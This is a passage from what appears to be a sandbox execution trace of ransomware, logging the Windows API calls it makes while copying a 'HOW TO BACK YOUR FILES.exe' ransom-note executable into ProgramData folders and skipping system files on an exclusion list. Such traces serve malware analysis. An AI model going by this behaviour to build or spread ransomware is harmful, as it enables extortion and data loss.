ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0097.709] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.709] ReleaseMutex (hMutex=0xec) returned 1 [0097.709] CloseHandle (hObject=0xec) returned 1 [0097.709] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\Assistance" | out: lpString1="C:\\ProgramData\\Microsoft\\Assistance") returned="C:\\ProgramData\\Microsoft\\Assistance" [0097.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5172a8 | out: hHeap=0x4f0000) returned 1 [0097.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dc10 | out: hHeap=0x4f0000) returned 1 [0097.709] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Assistance") returned 35 [0097.709] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\EC18D9B5488D2A68F1DD93DF104B6049") returned 0xec [0097.709] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.709] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Assistance" | out: lpString1="C:\\ProgramData\\Microsoft\\Assistance") returned="C:\\ProgramData\\Microsoft\\Assistance" [0097.710] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.710] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Assistance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\assistance\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.710] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\assistance\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.710] GetLastError () returned 0x0 [0097.710] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.710] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.711] CloseHandle (hObject=0xf4) returned 1 [0097.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.711] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.711] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4777b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.711] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.711] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.712] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.712] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4777b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.712] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.712] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.712] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.712] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.712] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0097.712] lstrcmpiW (lpString1="Client", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.712] lstrcmpiW (lpString1="Client", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.712] lstrcmpiW (lpString1="Client", lpString2=".") returned 1 [0097.712] lstrcmpiW (lpString1="Client", lpString2="..") returned 1 [0097.712] lstrcmpiW (lpString1="Client", lpString2="windows") returned -1 [0097.712] lstrcmpiW (lpString1="Client", lpString2="bootmgr") returned 1 [0097.712] lstrcmpiW (lpString1="Client", lpString2="temp") returned -1 [0097.712] lstrcmpiW (lpString1="Client", lpString2="pagefile.sys") returned -1 [0097.712] lstrcmpiW (lpString1="Client", lpString2="boot") returned 1 [0097.712] lstrcmpiW (lpString1="Client", lpString2="ids.txt") returned -1 [0097.712] lstrcmpiW (lpString1="Client", lpString2="ntuser.dat") returned -1 [0097.712] lstrcmpiW (lpString1="Client", lpString2="perflogs") returned -1 [0097.712] lstrcmpiW (lpString1="Client", lpString2="MSBuild") returned -1 [0097.712] lstrlenW (lpString="Client") returned 6 [0097.712] lstrcpyW (in: lpString1=0x241e890, lpString2="Client" | out: lpString1="Client") returned="Client" [0097.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dc10 [0097.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x52fb00 [0097.712] lstrcatW (in: lpString1="Client", lpString2="\\" | out: lpString1="Client\\") returned="Client\\" [0097.712] lstrcatW (in: lpString1="Client\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Client\\HOW TO BACK YOUR FILES.exe") returned="Client\\HOW TO BACK YOUR FILES.exe" [0097.712] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.715] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc4777b40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.715] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.715] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc4777b40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0097.715] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.715] ReleaseMutex (hMutex=0xec) returned 1 [0097.715] CloseHandle (hObject=0xec) returned 1 [0097.715] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\Crypto" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0097.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f6d0 | out: hHeap=0x4f0000) returned 1 [0097.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50db38 | out: hHeap=0x4f0000) returned 1 [0097.715] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto") returned 31 [0097.715] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B170C1C50ED0DBDF5AD33BCD1A1266B4") returned 0xec [0097.715] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.715] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Crypto" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0097.715] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.715] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.716] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\crypto\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.716] GetLastError () returned 0x0 [0097.716] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.716] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.717] CloseHandle (hObject=0xf4) returned 1 [0097.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.717] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.717] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4777b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.717] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.717] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.717] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.717] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4777b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.717] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.717] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.717] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.717] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.717] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0097.717] lstrcmpiW (lpString1="DSS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.717] lstrcmpiW (lpString1="DSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.718] lstrcmpiW (lpString1="DSS", lpString2=".") returned 1 [0097.718] lstrcmpiW (lpString1="DSS", lpString2="..") returned 1 [0097.718] lstrcmpiW (lpString1="DSS", lpString2="windows") returned -1 [0097.718] lstrcmpiW (lpString1="DSS", lpString2="bootmgr") returned 1 [0097.718] lstrcmpiW (lpString1="DSS", lpString2="temp") returned -1 [0097.718] lstrcmpiW (lpString1="DSS", lpString2="pagefile.sys") returned -1 [0097.718] lstrcmpiW (lpString1="DSS", lpString2="boot") returned 1 [0097.718] lstrcmpiW (lpString1="DSS", lpString2="ids.txt") returned -1 [0097.718] lstrcmpiW (lpString1="DSS", lpString2="ntuser.dat") returned -1 [0097.718] lstrcmpiW (lpString1="DSS", lpString2="perflogs") returned -1 [0097.718] lstrcmpiW (lpString1="DSS", lpString2="MSBuild") returned -1 [0097.718] lstrlenW (lpString="DSS") returned 3 [0097.718] lstrcpyW (in: lpString1=0x241e888, lpString2="DSS" | out: lpString1="DSS") returned="DSS" [0097.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50db38 [0097.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x5172a8 [0097.718] lstrcatW (in: lpString1="DSS", lpString2="\\" | out: lpString1="DSS\\") returned="DSS\\" [0097.718] lstrcatW (in: lpString1="DSS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DSS\\HOW TO BACK YOUR FILES.exe") returned="DSS\\HOW TO BACK YOUR FILES.exe" [0097.718] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.720] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc4777b40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.720] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.720] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0097.720] lstrcmpiW (lpString1="Keys", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.720] lstrcmpiW (lpString1="Keys", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.720] lstrcmpiW (lpString1="Keys", lpString2=".") returned 1 [0097.720] lstrcmpiW (lpString1="Keys", lpString2="..") returned 1 [0097.720] lstrcmpiW (lpString1="Keys", lpString2="windows") returned -1 [0097.721] lstrcmpiW (lpString1="Keys", lpString2="bootmgr") returned 1 [0097.721] lstrcmpiW (lpString1="Keys", lpString2="temp") returned -1 [0097.721] lstrcmpiW (lpString1="Keys", lpString2="pagefile.sys") returned -1 [0097.721] lstrcmpiW (lpString1="Keys", lpString2="boot") returned 1 [0097.721] lstrcmpiW (lpString1="Keys", lpString2="ids.txt") returned 1 [0097.721] lstrcmpiW (lpString1="Keys", lpString2="ntuser.dat") returned -1 [0097.721] lstrcmpiW (lpString1="Keys", lpString2="perflogs") returned -1 [0097.721] lstrcmpiW (lpString1="Keys", lpString2="MSBuild") returned -1 [0097.721] lstrlenW (lpString="Keys") returned 4 [0097.721] lstrcpyW (in: lpString1=0x241e888, lpString2="Keys" | out: lpString1="Keys") returned="Keys" [0097.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52be18 [0097.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4a) returned 0x516318 [0097.721] lstrcatW (in: lpString1="Keys", lpString2="\\" | out: lpString1="Keys\\") returned="Keys\\" [0097.721] lstrcatW (in: lpString1="Keys\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Keys\\HOW TO BACK YOUR FILES.exe") returned="Keys\\HOW TO BACK YOUR FILES.exe" [0097.721] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\crypto\\keys\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.724] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0097.724] lstrcmpiW (lpString1="RSA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.724] lstrcmpiW (lpString1="RSA", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.724] lstrcmpiW (lpString1="RSA", lpString2=".") returned 1 [0097.724] lstrcmpiW (lpString1="RSA", lpString2="..") returned 1 [0097.724] lstrcmpiW (lpString1="RSA", lpString2="windows") returned -1 [0097.724] lstrcmpiW (lpString1="RSA", lpString2="bootmgr") returned 1 [0097.725] lstrcmpiW (lpString1="RSA", lpString2="temp") returned -1 [0097.725] lstrcmpiW (lpString1="RSA", lpString2="pagefile.sys") returned 1 [0097.725] lstrcmpiW (lpString1="RSA", lpString2="boot") returned 1 [0097.725] lstrcmpiW (lpString1="RSA", lpString2="ids.txt") returned 1 [0097.725] lstrcmpiW (lpString1="RSA", lpString2="ntuser.dat") returned 1 [0097.725] lstrcmpiW (lpString1="RSA", lpString2="perflogs") returned 1 [0097.725] lstrcmpiW (lpString1="RSA", lpString2="MSBuild") returned 1 [0097.725] lstrlenW (lpString="RSA") returned 3 [0097.725] lstrcpyW (in: lpString1=0x241e888, lpString2="RSA" | out: lpString1="RSA") returned="RSA" [0097.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52be30 [0097.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x517348 [0097.725] lstrcatW (in: lpString1="RSA", lpString2="\\" | out: lpString1="RSA\\") returned="RSA\\" [0097.725] lstrcatW (in: lpString1="RSA\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="RSA\\HOW TO BACK YOUR FILES.exe") returned="RSA\\HOW TO BACK YOUR FILES.exe" [0097.725] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.727] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0097.727] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.727] ReleaseMutex (hMutex=0xec) returned 1 [0097.727] CloseHandle (hObject=0xec) returned 1 [0097.727] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\Device Stage" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0097.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516370 | out: hHeap=0x4f0000) returned 1 [0097.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530b78 | out: hHeap=0x4f0000) returned 1 [0097.727] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage") returned 37 [0097.727] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B6BFEDD565B34666E7BB6877CC033A6D") returned 0xec [0097.727] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.727] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Device Stage" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0097.727] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.727] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\device stage\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.728] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\device stage\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.728] GetLastError () returned 0x0 [0097.728] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.728] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.729] CloseHandle (hObject=0xf4) returned 1 [0097.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.729] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.729] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.729] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.729] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.729] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.729] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.729] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.730] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.730] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.730] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.730] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0097.730] lstrcmpiW (lpString1="Device", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.730] lstrcmpiW (lpString1="Device", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.730] lstrcmpiW (lpString1="Device", lpString2=".") returned 1 [0097.730] 